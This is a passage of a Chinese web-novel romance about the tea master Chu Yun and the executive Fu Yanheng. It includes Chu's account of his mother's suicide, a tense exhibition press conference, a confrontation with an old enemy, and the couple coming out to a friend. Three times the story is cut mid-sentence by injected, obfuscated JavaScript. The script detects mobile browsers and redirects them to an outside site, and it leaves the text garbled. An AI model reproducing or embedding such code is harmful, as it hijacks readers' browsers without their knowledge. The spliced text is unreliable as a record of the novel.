“你脖子上戴的红绳,有什么特殊意义吗?” 楚韫愣了一下,没想到傅砚珩会问这样的问题,一时没想好该怎么向他解释。傅砚珩见他神色犹豫,以为是不方便说,便道:“觉得勉强就算了,我们玩下一轮。” 楚韫摇了摇头:“我只是……没想好该怎么说。” 他把红绳上的吊坠从衣服里拿出来,那是一块温润洁白的和田玉扣,在灯光下散发着柔和的光芒。 “这是我妈妈留给我的。”楚韫笑了笑:“我好像还没和你讲过有关她的事情。” “我妈妈是未婚生子,而且在生下我之前就和家里人断绝了来往。在那个年代,这样的污点让她根本找不到一份正经的工作,只能在那种不正规的小饭店,或者一些黑作坊里打零工。一个女人,带着一个拖油瓶似的孩子,活得有多艰难可想而知。那个时候,我和妈妈就挤在一个很破旧的小出租房里,她每天都很晚才回家,有的时候身上还会沾上陌生的烟味。后来我才知道,她打工的地方经常有那些游手好闲的地痞流氓,会找各种借口占她便宜,但为了那点少得可怜的工资,为了养一个嗷嗷待哺的孩子,她都选择了忍气吞声。” “在我十岁生日那天,她用攒了好几年的钱给我买了一个生日礼物,就是这枚和田玉扣。我现在还记得,那天她把这个玉扣戴到我的脖子上时,说希望我一辈子平平安安。后来这个生日礼物就成了她唯一留给我的东西。” 傅砚珩握住了他的手,低声道:“好了,不说了。” “没关系。”楚韫摇了摇头,面色平静,“我是自愿和你说这些的。” “我刚才和你说过,我妈妈是非婚生子,她独自一人拉扯我那么多年,一直都希望我那位‘父亲’能够找到我们两个,让她脱离苦海。在日复一日的无望等待中,这种希望渐渐变成了执念,生活的重压和街坊间的流言蜚语让她的脾气变得时好时坏,她经常会打骂我,指着我的鼻子说,都是因为我,我那位‘父亲’才不来找我们,有的时候她又会一个人在房间里神经质地自言自语,问我的‘父亲’为什么不来接我们回家。到最后,她几乎已经到了精神错乱的地步了,可能她自己也意识到,没人会来救她,她这辈子就只剩下了一片黑暗,于是在一个晚上,在我睡着之后,她在出租房的浴缸里自杀了。” 话音落下,一个温柔克制到极点的吻落在了他的额头上,紧接着一路向下,吻过他的鼻梁、鼻尖。 “都过去了,楚韫。” “嗯,都过去了。” 楚韫被他吻得气息有些不稳,伸手推了推他:“游戏……游戏还得继续。” 傅砚珩“嗯”了一声,终于和他拉开了距离。 第三轮,楚韫又赢了一局。 傅砚珩说:“我选大冒险。” 楚韫没想到傅砚珩不按套路出牌,更何况他并没准备好和大冒险有关的要求。 他绞尽脑汁想了一会:“和我拥抱一下吧。” 话音落下,他就在对方脸上看到了不加掩饰的失望,好像在说“只是这样吗”。 但傅砚珩还是照做了,给了楚韫一个很轻,却很坚实的拥抱。 第四轮,楚韫再次获胜。 这回傅砚珩选择了楚韫希望的方式:“真心话。” “和我说说你家里的情况吧,”楚韫说:“这样我们就算礼尚往来了。” 傅砚珩被他这种查户口式的真心话问题逗笑了:“我家人口组成比较简单,除了我父母之外,我还有一个弟弟。” 楚韫完全没想到傅砚珩还有个弟弟,因为以前从来没听他提起过。 “我弟弟叫傅嘉礼,说起来你也见过他,就是那天去瑞禾开会,你在洗手间里遇见的那个鬼鬼祟祟的人。” 楚韫原本模糊的记忆一下子清晰起来:“怪不得你是那个反应,还让我不用理会。” “那个时候,我父母为了磨磨傅嘉礼的性子,想要让他去我手底下工作一段时间,但亿恒不养闲人,我就把他扔到了瑞禾。” 楚韫实在有些难以想象,傅砚珩这样沉稳持重的人,居然会有那样一个看起来跳脱奇怪的弟弟。但细细一想也在情理之中,他们这些豪门,往往都是长子继承家业,后面的几个安心当纨绔就好。 “一定很辛苦吧,肩负起亿恒那样一个庞大的集团。”楚韫忽然说:“不然你应该也是那种无忧无虑的性子。” 傅砚珩没说话,只是静静地看着楚韫。这还是第一次有人和他说出“辛苦”两个字。他过往人生见过的人有很多,基本只分两种,一种人会因他那些冷血无情的手段而呵斥他、咒骂他,但与此同时,他们也深深地畏惧着他;另一种人只是看到他如今拥有的一切财富和地位,羡慕他在名利场上的从容不迫。 他不在意别人对他的看法,也从来不觉得自己能和“辛苦”这两个字搭边,他的人生一直都像一个格式化程序,在合适的时间做着应该做的事情。他之前一直以为遇到楚韫、喜欢上楚韫是一个奇妙的意外,直到现在,他才清清楚楚地意识到,这其实是他命中注定的必然。 楚韫被傅砚珩的眼神看得有些奇怪,结果下一秒就听他忽然说:“楚韫,哪天去我家吧,让我爸妈见见你。” 楚韫向来不喜欢把心情写在脸上,但此刻表情也变得一片空白,他甚至以为自己听错了,喃喃道:“……什么?” “吓到你了吗?”傅砚珩五指伸入他后脑的发间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383322|184157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不轻不重地一下下抚摸,“虽然我和我父母之间有隔阂,我们之间的感情也不要获得任何人的认可,但我想,这是世俗婚姻中不可或缺的一步,别人有的,我也想要你有。” 他手上抚摸的动作仍未停止,这句话说完便安静地等待着楚韫的答复。 楚韫深吸一口气,平静地中又夹了点其它的情绪。 “傅砚珩,你也知道我小时候的经历……我不知道该怎么讨长辈欢心。我那么冷淡、无趣、呆板,甚至很多时候我自己都会讨厌这样的自己——” 话没说完,他就感到自己的唇被人亲了一下。 “……” “楚韫,我不需要你去讨好任何人,哪怕是我父母。” 傅砚珩倾身过来,直接把楚韫压在了柔软的大床上。他垂眸看着身下人,语气轻缓:“我好像还没和你说过,我为什么喜欢你。” 他拨开楚韫额前的几缕碎发,露出对方那双惊心动魄的、墨色深深的眼睛。 “我第一次见到你,是被江祈年拉到了你的茶楼。那天我本来还有很多工作要处理,甚至坐在你的茶室里的时候,我脑子里想的还是下午该怎么和一个合作方谈判。” “但是后来,看着你每次冲泡的动作,喝到你泡的凤凰单丛,我的心里渐渐平静了下来,那些让人烦恼的工作似乎都离我很远,只剩下你带给我的片刻闲暇。” 楚韫缓慢地眨了下眼睛,就听他接着说:“你知道吗,楚韫,那是我从没体会过的感受,我一开始以为是茶的关系,但后来我才明白不是这样,是因为你。” “是因为你端坐在茶台前,摆弄那些茶具,人为地赋予了一杯茶特别的意义,和你身上的气质如出一辙,从容、淡定、平和。” 就像山水长卷里最让人安心的那笔,让人知道山会一直在,水会一直流,而他递过来的这杯茶,就像暮色里的一叶舟,稳稳接住所有漂泊的情绪。 楚韫恍惚了一瞬,这是一个他从来没有想到过的答案。 下一秒,身侧床垫一沉,是傅砚珩躺在了他旁边。 身边人将自己的那些情感悉数剖开,不厌其烦地向他展示那些动心的纹路,只为驱散他所有的不安、迷茫,为他筑起一层“爱”的屏障。 傅砚珩低沉的嗓音像是要与夜色融为一体,好像在向楚韫娓娓道来一个美好的故事:“后来和你接触得多了,我逐渐觉得,你是一个骨子里坚韧不拔的人,只要是你认准了的事情,无论要经历多少困难,哪怕是最后玉石俱焚,你也要达到。” 楚韫偏头看着他,傅砚珩也侧过身,与他目光相对。 “但最重要的是,我很羡慕你对你师父的感情。” “……羡慕什么?” 傅砚珩笑了笑:“楚韫,你自己没意识到吗,你师父在你心里有多么重的分量,甚至连你自己都比不上。你能把人生中最好的年华用在为他报仇这件事上,不惜暂时放弃自己的理想,而这一切都是因为他对你的教导和养育之恩。别人对你好一份,你会回报给对方十分。在我生活的世界里,所有的真心和感情都是逢场作戏,我从未见过一个人,拥有像你这么热烈而纯粹的感情。以至于看着你为一个人坚定不移、奋不顾身的时候,我会情不自禁地被你吸引,对你的一切产生好奇——” 我甚至会偶尔产生一种幻想,被你这样的人全心全意地爱着,会是怎样一种感觉。 但这句话终究是未曾宣之于口,因为身边的人已经合上了眼皮,睫毛在眼下投出一小片浅影。楚韫的手原本搭在腰侧,不知什么时候滑到了枕头边,手指松松地蜷着。 傅砚珩静静看了一会,轻声说了句“晚安”,随后轻手轻脚地起来,帮他把床头灯关掉。 灯光灭掉的瞬间,楚韫的眉头几不可察地动了动,却没睁眼,只是喉咙里溢出一声极轻的呢喃: “——我答应你。” 36. 邵凌 楚韫把自己没撑住睡着了的原因归结于傅砚珩家的床太软太舒服了。但好在自己哪怕在最后一秒也保留着一丝残存的意识,把傅砚珩说的话一字不落地听完了,并且在第二天一早又回味了一遍。 他还记着自己最后答应了傅砚珩去见他爸妈,但之后对方都没再提过这件事,他以为是傅砚珩改变了主意,渐渐也把这件事抛之脑后。 展品保存指导的工作完成后,接下来的几天,楚韫就窝在家里整理工作人员发过来的文档,一页一页密密麻麻的小字看过去,看得眼睛酸痛。 时间过得很快,楚韫的腿一点点好起来,去医院复查时,医生也说他恢复得很好,已经可以正常行走了。 . 转眼间就到了特展开展的日子。 省博对这次展览非常重视,动用了很大的财力物力,从国内外几十家考古文博单位借来了琳琅满目的展品,包括但不限于数千年前的茶叶遗存、清宫旧藏老茶,还有历朝历代的珍贵茶器。 开展当天,省博馆长做了一个简单的致辞,然后就是策展人苏荷向社会公众介绍这次特展的策划思路、代表性藏品和展览目的。 楚韫以指导专家的身份被安排在第一排落座,跟着媒体和观众一起鼓掌。苏荷在最后致谢的时候,特意着重介绍了几句楚韫的身份,随后就到了媒体问答环节。 楚韫和苏荷一齐站在台上,一开始媒体的问题基本都集中在苏荷身上。 “这次特展以‘且将新火试新茶’为主题,‘新火试新茶’出自苏轼的词,本身就带着传统与当下的交融感,展品时间跨度极大。想请教苏老师,策展时是如何通过展品诠释这句诗的意境的?” 苏荷妆容精致,从容不迫地侃侃而谈:“您可以留意展柜中层的动线设计。从跨湖桥遗址出土的茶籽陶罐到清代珐琅彩盖碗,我们用‘茶器承载的饮茶文化’串起了时间线,陶罐里复刻了先民贮存的野生茶籽,直观呈现早期茶的贮存形态;而清代珐琅彩盖碗的精致纹饰与釉色,已能看出茶器从实用向审美兼具的演变。” “顺着这个脉络往后看,民国锡制茶海延续了盖碗‘实用为先’的设计理念,它的流口弧度经过百年使用打磨,格外顺手,而这种实用智慧又被当代匠人吸收,用到了新制的汝窑壶上。后者虽在釉色上追求‘雨过天青’的新意境,但壶嘴流口的弧度、出水时的断水利落感,能够清楚看出对民国茶海实用设计的传承。” 类似的问题后面又问了两个,然后记者开始向楚韫提问。 “楚先生作为茶叶制作领域非常优秀的年轻制茶师,在刚刚结束的‘Golden Leaf Global Awards’比赛中获得了冠军,请问能分享些制作中的心得体会吗?” 楚韫从苏荷手里接过话筒,第一次在公众面前表达自己在这个领域的真实想法:“在我眼里,茶叶制作的核心就在‘顺势而为’。举个例子,揉捻时,新茶芽含水量不同,施力便需要进行调整,这种力度没有固定标准,全凭手感把握平衡,过急则芽叶碎裂,过轻则香气难出。” “杀青则讲究‘适时而止’。锅温达标后投茶,翻炒时需要紧盯叶色由鲜绿转暗黄,细察青草气渐变为熟香,过早过晚都不能炒出优秀的茶叶。机器可控制时长,但水汽消散、香气透发的临界状态,仍然需要用人类的感官进行辨识。” 面对着下面的无数双眼睛,还有不时亮起的闪光灯,年轻人面容沉静而肃然,那双瞳底之下闪烁着难以言说的虔诚。 “归根结底,制茶没有标准答案,如同观人神色而应对,需要先通晓茶叶的特质。茶叶制作这一行,本质就是自身感知与茶叶特性的契合,这样做出来的茶才不是流水线上呆板划一的产物,而是拥有了自身灵魂灵气的活物。” 这个环节基本都是媒体向策展人提问,但苏荷有意让更多人认识楚韫,于是特意安排了这个机会。楚韫回答完这个问题后,就拿着麦克风等待下一家媒体的提问,然后他就看到一个相貌平平的男人拿着话筒起身: “现在茶叶制作领域里,既有智能设备替代传统工序,也有市场对‘快产快销’的追求,更有甚者如当年的廖叙生,在自己的制茶技艺退步后,通过以次充好的手段欺骗市场和客户,您作为廖叙生的徒弟,最初投身茶叶制作时的初心是什么?这些年面对行业变化,这份初心有没有变?又是怎么守住的?” 此话落下,现场瞬间一片哗然! 苏荷的脸色一下子就变了——但凡“懂事”的媒体都不会在这样的场合问出这么尖锐不留情面的问题,很显然这是有人从中作梗。 她其实应该一直保持着微笑的,但此时此刻还是忍不住转头看了一眼楚韫,但就是看的这一眼才让她彻底控制不住表情—— 哪怕是刚刚回答第一个问题的时候,楚韫的脸上都看不出什么表情,像一块光滑洁白的瓷器。但此刻他抬起双眼,眉峰舒展如远山,脸上浮起一丝极淡的笑意。 他在笑?他怎么笑得出来?!! 观众席上,有人紧紧盯着楚韫,恨不得能将他脸上的每一处细微表情都尽收眼底。那个记者问完话之后,他的心里陡然升起一种近乎狂热的兴奋,期待着能在这张脸上看到哪怕是一丝一毫的愤怒、退缩、恐惧。 但没有,他想要见到的任何情绪都没有。 . “从我初学制茶的第一天起,我师父就问了我两个问题——” 时光的河流快速倒流,两岸的风景几经变幻,岁月里的不同声音终于跨越遥远而漫长的时空,渐渐交汇、重合—— “‘你为什么想要做茶?你做茶是为了什么?’” 下面鸦雀无声,只有记者手中的闪光灯骤然亮起。那些媒体、记者、观众都在仰望着台上的年轻人,静静等待着他的下文。 “我师父告诉我,做我们这行的,只有记住来处和归处,才能做出打动人心的好茶。当时我还很小,我告诉他,我想要做茶是为了替那些枝头上的茶叶完成一场完整的生命,让它们永远地留存在人的记忆里。哪怕时隔多年,直到此时此刻,我的想法依旧没有改变,我想这就是我的初心。” “我喜欢、享受着茶叶制作,小的时候,我总以为这就是我做茶的原因,直到后来,我在我师父的茶楼里亲眼见到,一杯真正的好茶对茶客具有怎样的意义。我师父告诉我,入了这行就要倾尽心力,为他人奉上一份慰藉人心的茶叶,从那之后我才明白,我做茶叶,是为了让所有人都能在这一杯茶里获得片刻的舒心,这就是我的‘归处’。” 闪光灯接连不断地亮起,浮光掠影般映照在楚韫瞳底,那双眼眸显得更亮了些,像浸在泉里的石子被日光照透。 “这些年行业确实在变,诚然科技设备和人工智能的应用是大势所趋,为茶叶制作行业带来了一系列变革,但很多步骤永远是机器靠一系列数据无法取代的,因为那更多是一个茶叶制作者数十年来积累的一种‘感觉’。” 楚韫的唇角平展如旧,看起来波澜不惊:“至于我师父的事情,我不想在这多说,但就像这位记者今天问的‘初心’,我可以明说:‘初心’不仅是做好茶,也是信好人。” 台下一片寂静,随即爆发出一阵惊雷般的掌声。 楚韫微微颔首,将话筒还给主持人,听着他在身后说着感谢之类的客套话,毫不犹豫地大步转身离开。 . “——楚韫!” 开幕式已经结束,展厅里涌进了一大群参观者。楚韫正对着一个白地矾红彩题诗盖碗发呆,就听身后传来一道清亮的女声。 他转过头,就见苏荷朝他走过来,脸上神情复杂:“……真抱歉,我之前已经和媒体打过招呼,照理来讲他们不会为难你,结果还是出了这样的事情。” 楚韫摇了摇头:“这不怪你,反倒是我应该感谢你给了我这样一个机会,让我能在公众和媒体前表达自己的观点。” 苏荷愤愤不平地说:“这样没有职业道德的记者,早晚会被整个行业唾弃。” 也许吧。楚韫很浅地笑了一下,身边苏荷的电话铃声响起,她和楚韫打了个手势,便去展厅外面接电话了。 楚韫按照之前苏荷说的策展思路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383323|184157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢慢走下去,看着每一个玻璃保护罩后面的介绍文字,很多都是他和负责人员在一个个深夜里一点修正、敲定的。 身后有一阵风掠过,很轻,但楚韫还是感觉到了。 他停下了脚步,没有回头,只是淡淡地说:“我以为过了这么多年,你的手段能高明一些。” 他看着面前玻璃映出两人的身影,一个是他,另一个人戴着一顶黑色的鸭舌帽,看不清眉眼。 “小打小闹而已,不用高明,让你知道我回来了才是最重要的。” 男人嗓音含笑,却带着和多年前如出一辙的阴鸷。 楚韫“哦”了一声,微笑着说:“那你还真是太把自己当回事了,你是死是活,在国外还是回国内,流落街头还是客死他乡,对我来说没有任何区别。” 他转过身,眉梢眼角挑起一抹弧度:“不过是一条丧家之犬,别忘了当年是怎么被赶出家门的。” 像是被触及了心底的一根刺,男人的太阳穴不住地抽动,他忍着怒气,缓缓露出一个笑容,附耳过来轻声道:“楚韫,你以为这么多年过去,我还会是当年的我吗?” 楚韫极度讨厌这种距离忽然拉近的感觉,下意识偏过头去。他眉头微皱,忍住给对方一巴掌的冲动,颔首道:“你说的没错,邵凌。” “既然如此,你大可以试试能不能再次伤害到我。” 他歪了下头,很彬彬有礼的样子:“还有,下次见面记得保持距离,我怕被你传染狂犬病。” 说完,不顾邵凌脸上的神色,楚韫转身离开了展厅。 . “抱歉苏小姐,我刚才突然有点事情,就先离开了。” 电话另一头,苏荷笑道:“没事没事,这几天辛苦你了,就是作为这次展览的第二体验地,可能接下来几天你们茶楼里会忙一些。” 楚韫真情实意地说:“还是得感谢你——” “打住打住,”电话那头传来别人呼唤她的声音,苏荷语速飞快:“真想感谢我就请我免费喝茶。” 楚韫笑了:“没问题。” 挂断电话,也许是因为自己刚才被邵凌恶心到了,楚韫忽然有点想见傅砚珩。 . 宽敞的会议室内,产品负责人正在前面汇报:“本次Beta测试48小时内覆盖1273名用户,核心功能完成率89.6%,超出预期3个百分点——” 桌上手机震动了一下,负责人下意识停住声音,傅砚珩拿起手机看了一眼,视线没从屏幕上移开:“继续。” 产品负责人清了清嗓子,接着说:“先看自然语言交互模块,主要问题集中在‘家电控制’指令,‘关闭’和‘休眠’的误触发率达到了7.2%,初步判断是近义词库的边界定义太模糊。” [楚韫:傅砚珩,你在公司吗?] [傅砚珩:我在,怎么了?] “不是近义词库的问题,去查声学特征库的方言标注覆盖率。”傅砚珩突然开口。 [楚韫:……就是有点想见你,但你要是忙的话就不打扰你了。] 产品负责人愣了一秒,随即恍然大悟。他小心翼翼地往傅砚珩那边瞟了一眼,本以为那张脸上会是他们习以为常的冷漠严肃,结果看到的竟然是一丝极浅极淡的笑。 “有什么问题吗?” 傅砚珩抬起头,那点不易察觉的弧度已经回落下去,整个人看起来又恢复了那副冷淡的样子。 “……没,没有。” 负责人僵硬地挤出一丝笑容,随后继续汇报。 [傅砚珩:不忙。你在哪,我让闻时去接你。] 于是楚韫发来了一个定位。 “——嘈杂环境下麦克风信噪比掉15分贝,技术组初步判断是降噪模型参数需要优化。” 傅砚珩关掉手机,指尖一下下轻敲着桌面,忽然道:“还有多长时间?” 负责人“啊”了一声,随即看了眼自己手里的汇报文件,磕磕巴巴地说:“大,大概一个小时吧。” 傅砚珩敲了敲表盘:“精简一下,压缩到四十分钟。” 37. 公开 闻时将楚韫毕恭毕敬地请进了傅砚珩的办公室。 他们是从公司的地下车库直接上来的,走的是傅砚珩办公室楼层的专属电梯,因此一路上没有碰到过亿恒的员工。 “楚先生,您喝点什么?” 楚韫摘下口罩,说:“温水吧,麻烦你了。” 闻时说:“傅总还在开会,应该很快就回来了,您先休息一会。” 楚韫微微颔首,直到闻时出去,他才想起类似的话在很久之前也听过。 但那时他和傅砚珩还只是点头之交,他来亿恒也是为了茶楼的事和对方谈判。 ——明明时间也就过去了几个月,却像是发生了天翻地覆的变化。 办公室的门被再度推开,一杯温水被放在面前,楚韫说了句“谢谢”,就听对方低笑道:“不用谢。” “!” 楚韫猝然抬眼,愕然道:“……怎么是你?” 傅砚珩有好好的办公椅不坐,非要和楚韫挤在一张沙发上,虽然沙发也足够宽敞,但身旁多了个人,还是传来了不可忽视的存在感。 “刚开完会,正好在外面看见闻时,我就帮他拿进来了。” 傅砚珩刚听完一场不太愉快的测试汇报,一看到楚韫就忍不住生了恶劣心思,故意问道:“怎么,不想看见我吗?” 他本以为楚韫会像以前一样转移话题,结果出乎意料的是,对方回答:“没有。” 然而更让傅砚珩惊奇的还在后面。 “我很想你。” 傅砚珩直觉楚韫一定是遇到了什么事,但表面上他仍是不动声色:“上午的展览开幕还顺利吗?” 楚韫不想再拿自己的那些事情让对方担心,于是避重就轻道:“很顺利,最重要的是我能通过自己的力量让更多的人了解这个行业。而且这场展览我看了,策划得非常出色。” 傅砚珩笑了笑:“这里面当然也有楚老师的功劳。” 他拿过楚韫的一只手,与他手掌交叠、合握,随后像是突然想起什么,说道:“楚韫,再帮我做一只茉莉花香囊吧。” 哪怕是坐着,傅砚珩依旧比楚韫高出半头。楚韫仰起脸,问道:“之前的没有香味了吗?还是弄丢了?” “都不是,”傅砚珩的手指轻轻挠了一下楚韫的掌心,楚韫很敏感地瑟缩了一下,“之前的那只被我放在办公室的休息室里了,我想要一只放在家里。” 他观察着楚韫的反应,意味深长地说:“毕竟,从今往后我应该会经常住在那里。” “……” “傅砚珩,”楚韫认真且郑重地说:“真应该让你们公司里的人看看,他们平时不苟言笑的傅总私下里是什么样的。” 傅砚珩闻言点了点头,看起来很无所谓:“正好我想炫耀一下我男朋友。” “…………” 这场令人放松的谈话没能持续多长时间,办公室的门就被敲响。 闻时抱着一大摞文件走进来:“傅总,这是上个月的研发投入转化效率表和技术部的供应链替代方案报告。” “放我桌上吧。” 闻时趁着工作间隙偷偷往沙发那边瞄了一眼,果不其然就看见两人握在一起的手,瞬间感觉自己精神百倍充满斗志。 闻时走后,楚韫戳了戳傅砚珩:“你不去看吗?” 傅砚珩叹气:“那你自己待一会,里面的休息室有床,要是累了可以去睡一会。” 楚韫觉得很好笑:“我就在这,你一抬头就能看到我。” 就是这样才没办法专心啊。 但楚韫是不会懂的,这人有时候对自己的魅力一清二楚,有时候又一无所知。 办公室里陷入了一片寂静,只有偶尔能听到纸张翻动的沙沙声。楚韫本来想在傅砚珩的办公室里找本书看,但一眼望去全是经济学期刊和科技著作,好在最后找到了一本《江城》。 他看了几页,放在一旁的手机突然震动了两下。 [梁淮:这是吴润的资料。] [/文档/] 楚韫动动手指,刚想回复,就见聊天界面又弹出一条信息。 [梁淮:我之前看过这份文档,我几乎可以肯定,只要搞定他,就能拖垮余晋华。] 虽然楚韫也是这么想的,但其实他心里还有一层更深的渴望。 他仔仔细细看了一遍那个文档,里面详细记载了对方的家庭背景、职业轨迹、社会关系等信息。吴润出身于皖南山区,家里条件很差,父母长期患病卧床,家里全靠亲戚接济和低保维持。 其实看到这,楚韫就已经大概知道余晋华会用什么手段控制对方。 吴润很争气,从山区考上了省里的农业大学,后来又以笔试面试第一成绩入职茶叶协会,只是他最初的职场生涯并不顺利,因为出身,他总是会被身边的同事排挤。 吴润人生的转折点在他二十六岁那年。 茶协每年都会举办春茶评审会,就在在那年的评审会前夕,一批送检的特级毛峰被人混入陈茶,好在他及时发现了异常,连夜翻查几十箱茶样,终于找到了被调包的批次。这件事之后不久,他就被余晋华以“破格培养”的名义提拔为私人助理,从此平步青云。 从这人的经历来看,他有太多的痛点和遭遇可以被加以利用,所以余晋华才会挑中他做自己手中的那把刀,哪怕有一日刀上的血迹擦拭不掉了,只要扔掉它,就可以轻松摆脱那些他亲手犯下的累累罪行。 其实凭楚韫手里现有的证据,已经足以把吴润送进去吃几年牢饭,但这从来不是他的最终目的,他从一而终,只想让余晋华为自己犯下的罪行付出代价。 楚韫觉得吴润能忠心耿耿地为余晋华卖命,一定和他父母有关系。但这一点被余晋华隐藏得非常好,梁淮的人并没能翻出任何实质性证据。 楚韫不想再等了,他要让吴润反水,拿到余晋华这些年的罪证,让一切尽快终结,还他师父一个清白。 他要赌一把。 . 一下午的时间悄然而过,楚韫发现哪怕是什么都不做,只要和傅砚珩身处同一空间,都会让他感到舒适、放松。 其实这是很奇怪的,因为傅砚珩本人真的就如他之前所说,冰冷、心思深沉、缺少人情味。和这样的人共处一室,但凡是个正常人应该都会觉得很不舒服,但在楚韫面前,对方的这些外在特质都变成了虚无缥缈的杜撰,取而代之的是他从不会向别人展示的,温柔又恶劣的一面。 “没想到我对你有这么大的吸引力。” 楚韫这才反应过来,自己刚刚一直看着对方,现在直接被抓了个现行。 他找了个不算高明的借口:“看书看累了,休息一会眼睛。” 果不其然,傅砚珩“嗯”了一声,点了点头:“我就当这是你的变相赞美了。” 还是说少了,这人不仅温柔、恶劣,还无耻。 楚韫面无表情地想。 傅砚珩看了眼时间,问他:“晚上想外面吃还是家里做?” 楚韫刚要回答,就听门口“咣”的一声,方施廷大大咧咧地推门走了进来,身后还传来了闻时焦头烂额的声音:“方总,傅总现在不方便——” 方施廷回头看他一眼:“哎你那么紧张干什么,我又不会打扰他工作,别告诉我他是金屋藏娇不方便——” 话音刚落,他就和沙发上的楚韫对上了视线。 方施廷脑子宕机了一秒,随即就看到了办公桌后的傅砚珩,恍然大悟:“哦,你们是在谈工作吧。” 楚韫:“……” 傅砚珩:“……” 方施廷向来八面玲珑,善于察言观色,此时此刻竟也没发现两人神情古怪,“嗐”了一声就要往楚韫身边坐:“闻时你也真是的,搞得我还以为——” “别坐那。” 方施廷屁股都要坐到沙发上了,闻言下意识停住,整个人呈现出一种扭曲而奇怪的姿势:“?” 傅砚珩冷冷地说:“旁边有椅子。” 方施廷:“???” 他觉得有些荒谬:“不是,这沙发上有刺啊,我不能坐?” 傅砚珩捏了捏眉心,不耐烦道:“你话怎么这么多?” 方施廷猜测是傅砚珩和楚韫的工作谈得很不愉快,而自己恰好来得不是时候,但他看了一眼楚韫手上那本翻到一半的书,又感觉好像不是那么回事。 这两人真的是在谈工作吗? 方施廷总觉得自己好像忽略了什么,但他没来得及细想:“晚上秦潮生的艺术餐厅开业,要不要去看看?彭宗甯也去。” “不去。” “就知道问你也是这个结果,”方施廷大喇喇往椅背上一靠,目光转向楚韫:“你去吗,楚韫?” 还没等楚韫说话,他一拍脑袋:“瞧我这记性,都忘了恭喜你比赛夺冠了。” 楚韫笑了下:“谢谢。” “我这个朋友对茶叶和茶器挺有研究的,收藏了很多珍贵的藏品,好像今晚他就要拿出来一些作展示……嘶,那个叫什么东方美女——” “东方美人茶。” “啊,对!”方施廷说:“如果你感兴趣的话可以去看看。他本人也很想认识GLGA的冠军,你们一定会相谈甚欢的。” 傅砚珩看了眼楚韫,突然说道:“我们一起去。” 方施廷顿了一下,总算知道哪里不对劲了。 从他刚才进来到现在,这两人之间的氛围、语言、还有眼神之间的互动,都透露出一种旁若无人的亲密。他也算风月场上的老手,不会不知道这意味着什么。 还有刚才傅砚珩不让自己坐沙发—— 方施廷僵硬扭头,像是为了确认什么一样,看到楚韫在那里翻着他那本小说,神情放松、姿态闲适,哪像是来谈工作的??? 一个荒谬而大胆的想法突然破土而出,迅速窜成了参天大树。 “你,你,你们……” 方施廷颤抖着手指了指傅砚珩,又指了指楚韫,咽了下口水,犹豫再三又小心翼翼地问:“不会是我想的那样吧……” 楚韫不知道傅砚珩是否做好了出柜的准备,尤其还是和他关系很好的朋友,因此一直保持着沉默,还特意回避了傅砚珩的目光。 傅砚珩反问方施廷:“你想的哪样?” “就,就是那种关系——”方施廷自己都觉得异想天开,有点说不下去了。 “如果是恋人关系的话,那你没想错。” 楚韫意外地抬起头,脸上表情一片空白。 方施廷差点一口气没上来,他本以为这两人最多就是个暧昧期,结果居然已经发展到这一步了?!! 他缓了一会,真心实意地对楚韫说:“真是太感谢你了,楚韫。你替天行道,收服了一个单身了二十九年的工作狂,我代表傅砚珩身边的所有人向你表达最诚挚的谢意,并且强烈建议将下一届的诺贝尔□□颁发给你。” 楚韫:“……” . 秦潮生的艺术餐厅坐落在繁华地段,从亿恒大厦过去只要十五分钟车程。 在车上的时候,趁着方施廷不在,楚韫问道:“你怎么看出来我想去的?” 傅砚珩看了一下午文件,正在闭目养神,闻言眼也不睁地答道:“当你对一件事情表现出兴趣的时候,往往眼睛会先亮一下,然后微微抿一下唇,但你已经习惯于掩饰自己的情绪了,所以很快就会恢复平静。之前你想见赵毅滔的时候就是这样。” 明明都是一闪即逝的微表情,但在对方眼里,却像是按下了暂停键和放大键一样。 楚韫不是一个多愁善感的人,但此刻,他还是不可避免地眼眶酸涩。 像是下定了某种决心,他凑过去轻声道:“傅砚珩,你这周六有时间吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383324|184157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >男人睁开眼睛,想了几秒钟:“没有什么重要的事情,剩下的都可以推掉。” “那这周六我带你去一个地方吧。” 楚韫很少会用这种语气说话,像是谨小慎微的人用尽了孤注一掷的勇气。 傅砚珩心中一顿:“好。” 秦潮生的艺术餐厅开业并没有邀请太多人,来宾大多都是圈子里志趣相投的好友。为此他特意办了一个小型的晚宴,方便大家闲谈交流。 傅砚珩他们到的时候,晚宴已经开始了。 这家艺术餐厅属于是顶奢级别,据方施廷说,主厅的穹顶是由一位荷兰艺术家设计的,会随着外界光线变化而变成不同的颜色,楚韫走进去的时候特意观察了一下,果真如对方所说,正从雾蓝渐变成橙红。 